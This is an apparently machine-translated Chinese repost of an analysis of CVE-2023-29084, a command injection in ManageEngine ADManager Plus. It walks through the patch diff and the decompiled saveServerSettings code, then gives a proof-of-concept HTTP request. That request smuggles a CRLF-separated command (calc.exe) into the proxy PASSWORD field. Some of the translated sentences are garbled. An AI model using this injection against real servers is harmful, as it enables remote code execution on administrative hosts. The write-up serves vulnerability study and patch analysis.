翻译 Zoho ManageEngine ADManager Plus 远程代码执行漏洞(CVE-2023-29084)
2023-4-16 17:11:47 Author: 网络安全交流圈(查看原文) 阅读量:19 收藏

该特定缺陷存在于ChangePasswordAction函数中。此问题是由于在使用用户提供的字符串执行系统调用之前,没有对该字符串进行正确的验证而导致的。攻击者可以利用此漏洞在服务帐户的上下文中执行代码。

该漏洞在7181版本已经修复,所以我使用ManageEngine ADManager Plus 7180和7181 2个版本进行分析。中下载它们  您可以从ManageEngine 的档案 7181 版本仅更改了一行,它是 proxyCommand多变的



在易受攻击的版本中

proxyCommand = proxyCommand + "reg add 'HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Internet Settings' /f /v ProxyUser /t REG_SZ /d " + CommonUtil.getPowerShellEscapedValue(proxySettings.getString("USER_NAME")) + ";reg add 'HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Internet Settings' /f /v ProxyPass /t REG_SZ /d " + CommonUtil.getPowerShellEscapedValue(proxySettings.getString("PASSWORD"));

在补丁版本中

proxyCommand = proxyCommand + "$username=\"" + CommonUtil.getPowerShellEscapedValue(proxySettings.getString("USER_NAME")) + "\"; $password=\"" + CommonUtil.getPowerShellEscapedValue(proxySettings.getString("PASSWORD")) + "\"; reg add 'HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Internet Settings' /f /v ProxyUser /t REG_SZ /d $username; reg add 'HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Internet Settings' /f /v ProxyPass /t REG_SZ /d $password";

该变量用于 saveServerSettings的功能 ChangePasswordAction class


由于 webapps/adsm/WEB-INF/security/security.xml, 这个函数可以从 /api/json/admin/saveServerSettings端点


因此,调用saveServerSettings的请求如下所示

POST /api/json/admin/saveServerSettings HTTP/1.1Host: 10.10.10.99:8080Content-Length: 199Accept: application/json, text/javascript, */*; q=0.01X-Requested-With: XMLHttpRequestUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.5359.125 Safari/537.36Content-Type: application/x-www-form-urlencoded; charset=UTF-8Origin: http://10.10.10.99:8080Referer: http://10.10.10.99:8080/Accept-Encoding: gzip, deflateAccept-Language: en,en-US;q=0.9Cookie: Account=Administrator; Challenge=2481f9e4334129e05efa9552803367b9; RememberLogin=false; ChangeKey=2023-02-03%2011%3A48%3A20; ChallengeValue=%25u53F0%25u9054%25u96FB%25u5B5049887487802326272827252728222527222528142725262614284229331428422725; InfraSuite-Manager_SystemLang=Lng-EnglishTagList; AllViewLayoutWestisClosed=false; AllViewLayoutWestSize=250; AllViewLayoutPlaneSouthisClosed=false; AllViewLayoutPlaneSouthSize=320; AllViewLayoutDeviceSouthisClosed=true; AllViewLayoutDeviceSouthSize=150; AllViewLayoutSouthisClosed=false; AllViewLayoutSouthSize=90; InfraSuiteManagerLoginMode=1; WebTitle=DIAEnergie; _lang=en-us; token=eyJhbGciOiJIUzUxMiIsInR5cCI6IkpXVCJ9.eyJBY2NvdW50Ijoicm9vdCIsIkV4cCI6IlwvRGF0ZSgxNjgxNDY3MzUzMzEzKVwvIn0.bbQl6FHFEC1DjxC3SytEMePignjyaOElwPmBGVo4DDemYGMErpTlY_umvQux7IzKmneMxq2oudxEz3nxIDx8Ww; JSESSIONID=x11OrR-gBjEf2_qDoPEEeH0t9yeRWWIebWHbInslbsRbxPlaxsO-!1249488777; admpcsrf=cd69dbc4-b07c-489e-9408-fe5324b0919f; _zcsr_tmp=cd69dbc4-b07c-489e-9408-fe5324b0919f; JSESSIONIDADMP=97816D5CEBAADAC4A931F54B07CCD581; JSESSIONIDADSMSSO=FFA1CBA0FB38058DAB76EF485FC5C907Connection: close
admpcsrf=cd69dbc4-b07c-489e-9408-fe5324b0919f&params=PAYLOAD

让我们构建 params获得RCE。

public void saveServerSettings(HttpServletRequest request, HttpServletResponse response) throws Exception {    JSONObject responseObj = new JSONObject();    boolean error = false;    String errorMessage = "";    try {        //////#1      if (!ClientAuthorizationUtil.isAuthorized(request, AdminConfigConstants.SERVER_ACTION_ID)) {                responseObj.put("isAuthorized", false);        } else {            HttpSession session = request.getSession();            Long loginId = (Long)session.getAttribute("ADMP_SESSION_LOGIN_ID");#2          JSONArray params = new JSONArray(request.getParameter("params"));                                       JSONObject mailPropJson = new JSONObject();#3          for(int i = 0; i < params.length(); ++i) {                                                                      JSONObject tab = (JSONObject)params.get(i);                String tabId = tab.get("tabId").toString();                boolean enableProxy;                boolean currLicenseExpiry;                String username;                boolean oldStateDownTime;                String port;                boolean currEventNotif;                if (tabId.equalsIgnoreCase("mail")) {                    //////                }                JSONObject retentionDetails;                JSONObject maintainDBdetails;                String serverName;                if (tabId.equalsIgnoreCase("notify")) {                    //////                }                JSONObject archiveRetention;                if (tabId.equalsIgnoreCase("retention")) {                    //////                }                if (tabId.equalsIgnoreCase("sms")) {                    //////                }#4              if (tabId.equalsIgnoreCase("proxy")) {                                                                      enableProxy = tab.getBoolean("ENABLE_PROXY");                    archiveRetention = ProxyHandler.getProxySettings();                    String existingServerName = archiveRetention.optString("SERVER_NAME", "");                    String existingPort = archiveRetention.optString("PORT", "");                    String existingUserName = archiveRetention.optString("USER_NAME", "");                    String password;#5                  if (enableProxy) {                                                                                          username = tab.optString("USER_NAME", "");                        password = tab.optString("PASSWORD", "");                        serverName = tab.optString("SERVER_NAME", "");                        port = tab.optString("PORT", "");                        if (!existingServerName.equals(serverName) || !existingPort.equals(port) || !existingUserName.equals(username) || !password.isEmpty()) {                            try {                                JSONObject proxySettings = new JSONObject();                                proxySettings.put("SERVER_NAME", serverName);                                proxySettings.put("PORT", port);                                proxySettings.put("USER_NAME", username);                                proxySettings.put("PASSWORD", password);#6                              ProxyHandler.testConnection(proxySettings);                                                            ProxyHandler.setProxySettings(proxySettings, new boolean[0]);                                this.setProxySystemProperties(proxySettings);                                NativeException ne = new NativeException();                                String proxyCommand = "reg add 'HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Internet Settings' /v AutoDetect /t REG_DWORD /d 0 /f;reg add 'HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Internet Settings' /f /v ProxyEnable /t REG_DWORD /d 1;reg add 'HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Internet Settings' /f /v ProxyServer /t REG_SZ /d " + CommonUtil.getPowerShellEscapedValue(proxySettings.getString("SERVER_NAME")) + ":" + CommonUtil.getPowerShellEscapedValue(proxySettings.getString("PORT")) + ";";                                if (!proxySettings.getString("USER_NAME").isEmpty() && !proxySettings.getString("PASSWORD").isEmpty()) {#7                                  proxyCommand = proxyCommand + "reg add 'HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Internet Settings' /f /v ProxyUser /t REG_SZ /d " + CommonUtil.getPowerShellEscapedValue(proxySettings.getString("USER_NAME")) + ";reg add 'HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Internet Settings' /f /v ProxyPass /t REG_SZ /d " + CommonUtil.getPowerShellEscapedValue(proxySettings.getString("PASSWORD"));                                }#8                              PSNativeHandler.execPSCommand(proxyCommand, ne);                                if (ne.getErrorMessage() != null) {                                    throw new Exception(ne.getErrorMessage().toString());                                }                                PSNativeHandler.proxyConfigured = true;                                savedSettings.add(rb.getString("admp.admin.server_settings.proxy_settings.tab_name"));                            } catch (NumberFormatException var35) {                                //////                            }                        }                    } else if (!existingServerName.isEmpty()) {                        //////                    }                }            }            //////        }    } catch (Exception var41) {        //////    }    response.setContentType("application/json");    PrintWriter writer = response.getWriter();    writer.print(responseObj.toString());    writer.close();}
  • 在#1 中,服务器检查用户是否通过身份验证。

  • 在 #2 中,后端解析 params参数到 json 数组,并从 #3 转到它的每个元素

  • 由于#4,元素必须有属性 tabId有价值 proxy

  • 由于#5,元素必须有属性 ENABLE_PROXY有价值 true

  • 在 #6 中,服务器尝试使用由 SERVER_NAMEPORT来自元素,如果代理使用身份验证,服务器将使用来自 USER_NAMEPASSWORD.  如果无法连接到代理,服务器将返回错误。

  • 在 #7 中, proxyCommand附加由构造的命令 USER_NAMEPASSWORD这个命令将在 #8 中执行

所以我们的 RCE payload 应该被注入 USER_NAME或者 PASSWORD.  ADManager使用CommonUtil.getPowerShellEscapedValue逃避我们的所有特殊字符 USER_NAMEPASSWORD

看到它不过滤 CRLF 字符,也许我们可以用它来结束命令并执行另一个? 正如所料,我尝试了 %0d%0a但它没有用,但是 \r\n做过。


我们执行传奇的最终有效载荷 calc(记得改自己的proxy)

POST /api/json/admin/saveServerSettings HTTP/1.1Host: 10.10.10.99:8080Content-Length: 183Accept: application/json, text/javascript, */*; q=0.01X-Requested-With: XMLHttpRequestUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.5359.125 Safari/537.36Content-Type: application/x-www-form-urlencoded; charset=UTF-8Origin: http://10.10.10.99:8080Referer: http://10.10.10.99:8080/Accept-Encoding: gzip, deflateAccept-Language: en,en-US;q=0.9Cookie: Account=Administrator; Challenge=2481f9e4334129e05efa9552803367b9; RememberLogin=false; ChangeKey=2023-02-03%2011%3A48%3A20; ChallengeValue=%25u53F0%25u9054%25u96FB%25u5B5049887487802326272827252728222527222528142725262614284229331428422725; InfraSuite-Manager_SystemLang=Lng-EnglishTagList; AllViewLayoutWestisClosed=false; AllViewLayoutWestSize=250; AllViewLayoutPlaneSouthisClosed=false; AllViewLayoutPlaneSouthSize=320; AllViewLayoutDeviceSouthisClosed=true; AllViewLayoutDeviceSouthSize=150; AllViewLayoutSouthisClosed=false; AllViewLayoutSouthSize=90; InfraSuiteManagerLoginMode=1; WebTitle=DIAEnergie; _lang=en-us; token=eyJhbGciOiJIUzUxMiIsInR5cCI6IkpXVCJ9.eyJBY2NvdW50Ijoicm9vdCIsIkV4cCI6IlwvRGF0ZSgxNjgxNDY3MzUzMzEzKVwvIn0.bbQl6FHFEC1DjxC3SytEMePignjyaOElwPmBGVo4DDemYGMErpTlY_umvQux7IzKmneMxq2oudxEz3nxIDx8Ww; JSESSIONID=x11OrR-gBjEf2_qDoPEEeH0t9yeRWWIebWHbInslbsRbxPlaxsO-!1249488777; admpcsrf=cd69dbc4-b07c-489e-9408-fe5324b0919f; _zcsr_tmp=cd69dbc4-b07c-489e-9408-fe5324b0919f; JSESSIONIDADMP=204AD137BC0B510B3FCF03F2155D149D; JSESSIONIDADSMSSO=08C9CDA73E5D21D9A33AADEADB86C650Connection: close
admpcsrf=cd69dbc4-b07c-489e-9408-fe5324b0919f&params=[{"tabId":"proxy","ENABLE_PROXY":true,"SERVER_NAME":"localhost","USER_NAME":"hoangnd","PASSWORD":"asd\r\ncalc.exe","PORT":"8080"}]

团队承接以下业务,详情咨询扫描二维码添加好友。


扫描二维码添加好友,一起交流学习。



文章来源: http://mp.weixin.qq.com/s?__biz=MzI1MDk3NDc5Mg==&mid=2247484611&idx=1&sn=0dd158e72f77addafd0cf711b5793077&chksm=e9fb43e4de8ccaf2c01c7646d1cadf38627c26943a216eaa8d5b7ebe0e07ce2ef63de732a9cd#rd
如有侵权请联系:admin#unsafe.sh